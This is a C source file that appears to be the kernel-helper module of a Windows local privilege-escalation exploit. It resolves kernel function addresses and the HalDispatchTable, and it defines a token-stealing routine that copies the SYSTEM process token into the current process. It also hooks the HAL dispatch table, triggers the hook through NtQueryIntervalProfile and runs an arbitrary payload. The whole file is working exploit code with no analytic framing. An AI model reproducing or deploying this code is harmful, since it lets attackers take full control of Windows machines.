#include #include "windefs.h" #include "kernel.h" #include #define SYSTEM_PID 4 #define DRIVER_COUNT 1024 typedef NTSTATUS(NTAPI*PLOOKUPPROCESSBYID)(HANDLE processId, PVOID process); typedef PACCESS_TOKEN(NTAPI*PREFPRIMARYTOKEN)(PVOID process); typedef NTSTATUS(WINAPI*PNTQUERYSYSTEMINFORMATION)(SYSTEM_INFORMATION_CLASS sysInfoClass, PVOID sysInfo, ULONG sysInfoLength, PULONG returnLength); typedef NTSTATUS(WINAPI*PNTQUERYINTERVALPROFILE)(DWORD profileSource, PULONG interval); static ULONG_PTR g_pHalDispatch = 0L; static PLOOKUPPROCESSBYID g_pLookupProcessById = NULL; static PREFPRIMARYTOKEN g_pRefPrimaryToken = NULL; static DWORD g_currentPid = 0; static DWORD g_replaced = FALSE; static NTSTATUS WINAPI NtQueryIntervalProfile(DWORD profileSource, PULONG interval) { static PNTQUERYINTERVALPROFILE pNtQueryIntervalProfile = NULL; if (pNtQueryIntervalProfile == NULL) { pNtQueryIntervalProfile = (PNTQUERYINTERVALPROFILE)GetProcAddress(GetModuleHandle(TEXT("ntdll")), "NtQueryIntervalProfile"); } return pNtQueryIntervalProfile(profileSource, interval); } static NTSTATUS WINAPI NtQuerySystemInformation(SYSTEM_INFORMATION_CLASS sysInfoClass, PVOID sysInfo, ULONG sysInfoLength, PULONG returnLength) { static PNTQUERYSYSTEMINFORMATION pNtQuerySystemInformation = NULL; if (pNtQuerySystemInformation == NULL) { pNtQuerySystemInformation = (PNTQUERYSYSTEMINFORMATION)GetProcAddress(GetModuleHandle(TEXT("ntdll")), "NtQuerySystemInformation"); } return pNtQuerySystemInformation(sysInfoClass, sysInfo, sysInfoLength, returnLength); } static PVOID get_system_info(SYSTEM_INFORMATION_CLASS infoClass) { ULONG size = 0x100; const ULONG maxSize = size << 10; PVOID buffer = NULL; NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH; ULONG memIO = 0; while (status == STATUS_INFO_LENGTH_MISMATCH && maxSize > size) { buffer = buffer == NULL ? HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size) : HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, buffer, size); status = NtQuerySystemInformation(infoClass, buffer, size, &memIO); size = size << 1; } if (NT_SUCCESS(status)) { return buffer; } if (buffer != NULL) { HeapFree(GetProcessHeap(), 0, buffer); } return NULL; } static VOID find_and_replace_member(PDWORD_PTR pStruct, DWORD_PTR currentValue, DWORD_PTR newValue, DWORD_PTR maxSize) { DWORD_PTR mask = ~(sizeof(DWORD_PTR) == sizeof(DWORD) ? 7 : 0xf); g_replaced = FALSE; for (DWORD_PTR i = 0; i < maxSize; ++i) { if (((pStruct[i] ^ currentValue) & mask) == 0) { pStruct[i] = newValue; g_replaced = TRUE; return; } } } BOOL is_driver_loaded(wchar_t* driverName) { // start by finding out how big the buffer size needs to be: LPVOID derp = 0; DWORD sizeNeeded = 0; BOOL result = FALSE; // determine the size required first EnumDeviceDrivers(&derp, sizeof(derp), &sizeNeeded); LPVOID* driverList = (LPVOID*)malloc(sizeNeeded); if (EnumDeviceDrivers(driverList, sizeNeeded, &sizeNeeded)) { wchar_t driver[MAX_PATH]; DWORD driverCount = sizeNeeded / sizeof(LPVOID); for (DWORD i = 0; i < driverCount; ++i) { if (GetDeviceDriverBaseNameW(driverList[i], driver, MAX_PATH) && _wcsicmp(driver, driverName) == 0) { result = TRUE; break; } } } free(driverList); return result; } // Simple wrapper over the steal_process_token that takes the four arguments used by the function we // overwrite in the HAL dispatch VOID hal_dispatch_steal_process_token(DWORD_PTR arg1, DWORD_PTR arg2, DWORD_PTR arg3, DWORD_PTR arg4) { steal_process_token(); } VOID steal_process_token() { LPVOID currentProcessInfo = NULL; LPVOID systemProcessInfo = NULL; g_pLookupProcessById((HANDLE)g_currentPid, ¤tProcessInfo); g_pLookupProcessById((HANDLE)SYSTEM_PID, &systemProcessInfo); PACCESS_TOKEN targetToken = g_pRefPrimaryToken(currentProcessInfo); PACCESS_TOKEN systemToken = g_pRefPrimaryToken(systemProcessInfo); find_and_replace_member((PDWORD_PTR)currentProcessInfo, (DWORD_PTR)targetToken, (DWORD_PTR)systemToken, 0x200); } BOOL prepare_for_kernel() { BOOL result = FALSE; PRTL_PROCESS_MODULES procModules = NULL; CHAR fullKernelPath[MAX_PATH * 2 + 1] = { 0 }; PVOID mappedKernel = NULL; do { procModules = get_system_info(SystemModuleInformation); if (procModules == NULL || procModules->NumberOfModules == 0) { break; } UINT length = GetSystemDirectoryA(fullKernelPath, MAX_PATH); fullKernelPath[length] = '\\'; const char* firstModule = (const char*)&procModules->Modules[0].FullPathName[procModules->Modules[0].OffsetToFileName]; strcat_s(fullKernelPath, MAX_PATH, firstModule); ULONG_PTR kernelBase = (ULONG_PTR)procModules->Modules[0].ImageBase; mappedKernel = LoadLibraryExA(fullKernelPath, NULL, DONT_RESOLVE_DLL_REFERENCES); if (mappedKernel == NULL) { break; } ULONG_PTR funcAddr = (ULONG_PTR)GetProcAddress(mappedKernel, "PsLookupProcessByProcessId"); if (funcAddr == 0L) { break; } g_pLookupProcessById = (PLOOKUPPROCESSBYID)(kernelBase + funcAddr - (ULONG_PTR)mappedKernel); funcAddr = (ULONG_PTR)GetProcAddress(mappedKernel, "PsReferencePrimaryToken"); if (funcAddr == 0L) { break; } g_pRefPrimaryToken = (PREFPRIMARYTOKEN)(kernelBase + funcAddr - (ULONG_PTR)mappedKernel); funcAddr = (ULONG_PTR)GetProcAddress(mappedKernel, "HalDispatchTable"); if (funcAddr != 0L) { g_pHalDispatch = kernelBase + funcAddr - (ULONG_PTR)mappedKernel; } g_currentPid = GetCurrentProcessId(); result = TRUE; } while (0); if (mappedKernel != NULL) { FreeLibrary(mappedKernel); } if (procModules != NULL) { HeapFree(GetProcessHeap(), 0, procModules); } return result; } BOOL was_token_replaced() { return g_replaced; } ULONG_PTR get_hal_dispatch_pointer() { return g_pHalDispatch + sizeof(ULONG_PTR); } VOID invoke_hal_dispatch_pointer() { ULONG ignored; NtQueryIntervalProfile(1234, &ignored); } DWORD get_page_size() { static DWORD pageSize = 0; if (pageSize == 0) { SYSTEM_INFO si; GetSystemInfo(&si); pageSize = si.dwPageSize; } return pageSize; } BOOL create_anon_mapping(MemMapping* memMap) { memMap->mapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, get_page_size(), NULL); if (memMap->mapping == NULL) { return FALSE; } memMap->buffer = (LPBYTE)MapViewOfFile(memMap->mapping, FILE_MAP_ALL_ACCESS, 0, 0, get_page_size()); if (memMap->buffer == NULL) { destroy_anon_mapping(memMap); return FALSE; } return TRUE; } VOID destroy_anon_mapping(MemMapping* memMap) { if (memMap != NULL) { if (memMap->buffer) { UnmapViewOfFile(memMap->buffer); memMap->buffer = NULL; } if (memMap->mapping != NULL) { CloseHandle(memMap->mapping); memMap->mapping = NULL; } } } DWORD execute_payload(LPVOID lpPayload) { VOID(*lpCode)() = (VOID(*)())lpPayload; lpCode(); return ERROR_SUCCESS; }